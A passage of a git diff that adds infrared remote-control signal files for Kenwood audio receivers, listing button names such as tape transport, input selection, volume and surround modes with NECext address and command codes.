TAPE_A_FFWD_>>I +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: A_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: TAPEA_PAUSE_(AUTO) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: TAPE_A_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: A_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: TAPEA_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPE_A_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEA_STOP_(BAND) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: A_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEA_RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: TAPEA_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: TAPE_A_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: TAPE_A_RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: A_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: SURR_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: BYPASS_SURROUND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: TAPEB_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: PLAY_REV_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_R.PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPE_B_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPE_B_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPE_B_PLAY_REV +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: B_PLAY_R._< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPE_B_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_PLAY_(P.CALL) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPE_B_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: B_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPE_B_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_<<_(TUNING_<<) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPE_B_REW_I<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: B_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPE_B_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_>>_(TUNING_>>) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPE_B_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPE_B_FFWD_>>I +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: B_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPEB_PAUSE_(AUTO) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPE_B_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: B_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPEB_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPE_B_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_STOP_(BAND) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: B_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPEB_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPEB_REC/ARM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPE_B_REC/ARM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPE_B_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPE_B_RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: B_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: SURR.MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 +# +name: MODE_SURROUND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir new file mode 100644 index 000000000..99e5a70d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir @@ -0,0 +1,578 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: VIDEO_2_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: DSS_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: CENTER- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0A 00 00 00 +# +name: CENTER+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 55 00 00 00 +# +name: RDS_DISPLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 58 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 58 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 5F 00 00 00 +# +name: T1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: T9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: T10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: T11 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: T12 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: INPUT_SEL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: PHONO_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: TUNER_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: AV_AUX +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: AV-AUX_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: AV_AUX +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: MD/TAPE1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE_1_MD_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VIDEO_1_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: SYS._POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE4_POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE1_POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE1_POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE3_POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE3_POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE4_POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: PRO_LOGIC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: SURROUND- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C6 00 00 00 +# +name: SURROUND+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: LISTEN_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 +# +name: DSP_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir new file mode 100644 index 000000000..b8cd866f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: PRO_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: PRO_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: MIDNIGHT_MODE- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 04 00 00 00 +# +name: PRESENCE_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 04 00 00 00 +# +name: MIDNIGHT_MODE_+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: PRESENCE_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: AUDIO_STOP_[] +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: AM/FM_PRESET_- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 06 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 06 00 00 00 +# +name: AM/FM_PRESET+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 07 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 07 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0C 00 00 00 +# +name: 3STEREO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0E 00 00 00 +# +name: 3_STEREO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0E 00 00 00 +# +name: FREQUENCY- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 16 00 00 00 +# +name: RCVR_TUNING_< +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 16 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 16 00 00 00 +# +name: FREQUENCY+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 17 00 00 00 +# +name: RCVR_TUNING_> +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 17 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 17 00 00 00 +# +name: AM/FM_AUTO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 18 00 00 00 +# +name: RCVR_AUTO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 18 00 00 00 +# +name: AUTO/MONO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 18 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 18 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 18 00 00 00 +# +name: ARENA +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 44 00 00 00 +# +name: STADIUM_1 +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 46 00 00 00 +# +name: CATHEDRAL +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 48 00 00 00 +# +name: THEATRE_1 +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 49 00 00 00 +# +name: N.B. +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 4B 00 00 00 +# +name: AUDIO_PAUSE_ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 51 00 00 00 +# +name: MULTI_LVL_CTRL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 54 00 00 00 +# +name: RCVR_ANY_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 54 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 54 00 00 00 +# +name: MULTI_LVL_CTRL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 55 00 00 00 +# +name: RCVR_ANY_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 55 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 55 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 57 00 00 00 +# +name: LEVEL_MODE +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 57 00 00 00 +# +name: THEATRE_2 +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 83 00 00 00 +# +name: DSP_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 85 00 00 00 +# +name: M_4 +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 8E 00 00 00 +# +name: VISUAL_FIX +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 8F 00 00 00 +# +name: SURR_MULTILEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 91 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 91 00 00 00 +# +name: SURR_MULTI_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 91 00 00 00 +# +name: SURR_MULTILEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 92 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 92 00 00 00 +# +name: SURR_MULTI_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 92 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9C 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C2 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C2 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: B8 01 00 00 +command: CC 00 00 00 +# +name: INPUT_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: CC 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: B8 01 00 00 +command: D5 00 00 00 +# +name: INPUT_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: D6 00 00 00 +# +name: PANEL_OPEN-CLOSE +type: parsed +protocol: NECext +address: B8 01 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir new file mode 100644 index 000000000..927e6f836 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_- +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 00 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 01 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 01 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 02 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 03 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 1E 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 1E 00 00 00 +# +name: GUI +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 86 00 00 00 +# +name: MACRO_1 +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 87 00 00 00 +# +name: MACRO_2 +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 88 00 00 00 +# +name: PAUSE__(^) +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 89 00 00 00 +# +name: >>(>) +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 8B 00 00 00 +# +name: STOP_[]_(V) +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 8D 00 00 00 +# +name: <<_(<) +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 8F 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 91 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 92 00 00 00 +# +name: RECEIVER +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 93 00 00 00 +# +name: TAPE_A +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 94 00 00 00 +# +name: TAPE_B/MD +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 95 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 96 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 97 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 98 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 99 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 9A 00 00 00 +# +name: CABLE/SAT +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 9B 00 00 00 +# +name: LEVEL_MODE_AUDIO +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 9C 00 00 00 +# +name: LEVEL_MODE_SURROUND +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 9D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir new file mode 100644 index 000000000..590f3e1f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: AM/FM +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 06 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 19 00 00 00 +# +name: CD-2/TAPE2 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1A 00 00 00 +# +name: CD-TAPE_2_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1A 00 00 00 +# +name: TAPE_2_MON +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1A 00 00 00 +# +name: CD2/TAPE2_ON/OFF +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1A 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: VIDEO_3_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1E 00 00 00 +# +name: VIDEO_4_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1E 00 00 00 +# +name: LD_INPUT +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1E 00 00 00 +# +name: TUNER_AUTO_MEMORY +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 4D 00 00 00 +# +name: AUTO_MEMORY +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 4D 00 00 00 +# +name: SUB- +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 54 00 00 00 +# +name: SUB+ +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 55 00 00 00 +# +name: LOUDNESS- +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 58 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 58 00 00 00 +# +name: 